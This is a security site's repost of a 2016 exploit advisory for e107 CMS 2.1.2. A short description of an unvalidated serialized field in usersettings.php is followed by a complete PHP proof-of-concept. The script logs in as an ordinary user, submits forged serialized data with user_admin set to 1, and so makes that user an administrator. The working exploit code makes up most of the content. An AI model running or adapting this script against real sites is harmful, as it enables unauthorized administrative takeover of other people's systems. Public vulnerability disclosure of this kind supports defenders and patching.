首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
e107 CMS 2.1.2 - Privilege Escalation
来源:http://security.szurek.pl 作者:Szurek 发布时间:2016-11-11  
# Exploit Title: e107 CMS 2.1.2 Privilege Escalation
# Date: 09-11-2016
# Software Link: http://e107.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
 
Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.
 
http://security.szurek.pl/e107-cms-211-privilege-escalation.html
 
2. Proof of Concept
 
<?php
 
/**
 * e107 CMS 2.1.2 Privilege Escalation
 * Kacper Szurek
 * http://security.szurek.pl
 */
function hack($url, $login, $pass, $cookie){
 
    $ckfile = dirname(__FILE__) . $cookie;
    $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
 
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
    curl_setopt($ch, CURLOPT_POST, 1);
    $content = curl_exec($ch);
    if (strpos($content, '?logout') === false) {
        die("Cannot login");
    }
 
    $data = array();
    $data['user_admin'] = 1;
    $data['user_perms'] = 0;
    $data['user_password'] = md5($pass);
 
    curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
    $content = curl_exec($ch);
 
    if (strpos($content, 'Settings updated') === false) {
        die("Exploit probably failed");
    }
 
    die('OK!');
}
 
$url = "http://url_here";
 
// Standard user credentials
$user = "login_here";
$pass = "password_here";
 
$cookie = "/cookie.txt";
hack($url, $user, $pass, $cookie);
 
[推荐] [评论(1条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows Kernel - win
·Microsoft WININET.dll - CHttpH
·VBScript 5.8.7600.16385 / 5.8.
·Microsoft Internet Explorer 9-
·Avira Antivirus 15.0.21.86 - '
·PCMan FTP Server 2.0.7 HELP Bu
·Eir D1000 Wireless Router - WA
·PCMan FTP Server 2.0.7 LIST Bu
·Linux Kernel - TCP Related Rea
·Office OLE DLL Hijacking
·Solaris 8/9 passwd(1) - 'circ(
·InvoicePlane 1.4.8 - Password
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved